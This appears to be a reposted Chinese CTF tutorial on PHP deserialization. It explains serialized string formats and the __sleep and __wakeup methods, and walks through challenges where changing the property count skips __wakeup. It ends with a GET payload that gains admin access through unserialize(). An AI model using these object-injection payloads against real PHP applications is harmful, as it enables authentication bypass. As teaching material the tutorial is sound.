反序列化的时候出现eof exception_PHP反序列化漏洞入门

序列化和反序列化的概念

序列化就是将一个对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。

反序列化则相反将字符串重新恢复成对象

对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

ctf很多题型也都是考察PHP反序列化的相关知识

PHP的序列化

序列化函数serialize()

首先我创一个Ctf类 里面写了三个属性 后创建了一个ctfer对象 将Ctf类里的信息进行了改变。如果后面还要用到这个对象,就可以先将这个对象进行实例化。用的时候在反序列化出来就ok了

5d1b482a4740411c63439222f9abcd6e.png

O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示3 代表类名字占三个字符 ctf 类名3 代表三个属性s代表字符串4代表属性名长度flag属性名s:13:"flag{abedyui}" 字符串 属性值长度 属性值

serialize() 函数会检查类中是否存在一个魔术方法 sleep()。如果存在,sleep()方法会先被调用,然后才执行序列化操作。

可以再__sleep()方法里可以决定哪些属性被序列化

如果没有__sleep()方法则默认序列化所有属性

8e4a81ffc195c32c18acf17261cbcf6b.png

上图__sleep()方法使flag age 属性序列化 name并没有被序列化

访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下

public(公有)protected(受保护)private(私有的)

protected属性被序列化的时候属性值会变成%00*%00属性名

private属性被序列化的时候属性值会变成%00类名%00属性名

可能有点难理解 这里我敲一下大家就懂了

4a1a39233d7d8b24b714f529d04792eb.png

O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar";s:6:"*age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";}

可以看到

s:6:"*age" //*前后出现了两个%00也就是空白符 一个%00长度为一 所以序列化后 该属性长度为6s:9:"Ctfflag" //ctf前后也就是类名前后出现两个%00 所以长度为9

PHP的反序列化

反序列化函数unserialize()

反序列化就是将一个序列化的字符串,还原回去

9891905b8924e19cb4bed9f18607cbba.png

与 序列化函数类似 unserialize() 会检查是否存在一个 __wakeup()魔术方法

如果存在则会先调用__wakeup()方法在进行反序列化

可以再__wakeup()方法中对属性进行初始化或者改变。

3cfea54e0d7854037f6f5542599810a7.png

反序列化之前重新给flag属性赋值

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。这个大家应该都知道很常见的姿势了。为了直观一点找了些考察反序列化的ctf。

ctf

f96d36fb2be8f506e7b6fa213d386469.png

首先我们本地进行序列化后得到字符串

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

ca8b35eef7a1d24da77d1c0a133549bf.png

把1写成2 达到绕过wakeup()效果 拿到flag

0f6c83ca38e3b8b5551502ab44b2d2f3.png

找到一个 比较能总结这篇文章的题

6c34b51dffc78a6770e7b3e261f925d5.png

看到良好的备份网站习惯

url上直接/www.zip下载了网站源码

index.php里发现核心代码

<?php     include 'class.php';    $select = $_GET['select'];    $res=unserialize(@$select);?>

读了class.php 发现需要 username=admin 并且 password=100才可以 还有一段核心代码

function __wakeup(){        $this->username = 'guest';}

c9071473fa90e0470fcbc03cc15a8cb4.png

我们本地进行实例化 序列化

$a = new Name('admin',100);$b = serialize($a);print_r($b);

得到序列化后的字符串为

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

代码中存在 __wakeup前面说过。

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

还有因为我们要通过get方式进行提交 所以%00也必须写在url上

最终payload为

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

454dbeb001a0519dbd40532390f432f9.png

*本文作者:Sch0lar,转载请注明来自FreeBuf.COM

5e9a34d51653cdae5bd958086d17c4a0.gif

精彩推荐

e75c8e3c99710885f866242ba4da8c1c.png

bbf72009308c1d9a9699dd1e0516442b.png

f0453c4386d99cc893f36523c3a3d331.png39cc898316c0312d0af01e6b87405d8b.png

3289d9ebb801de0f295a404e5850e87c.gif

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值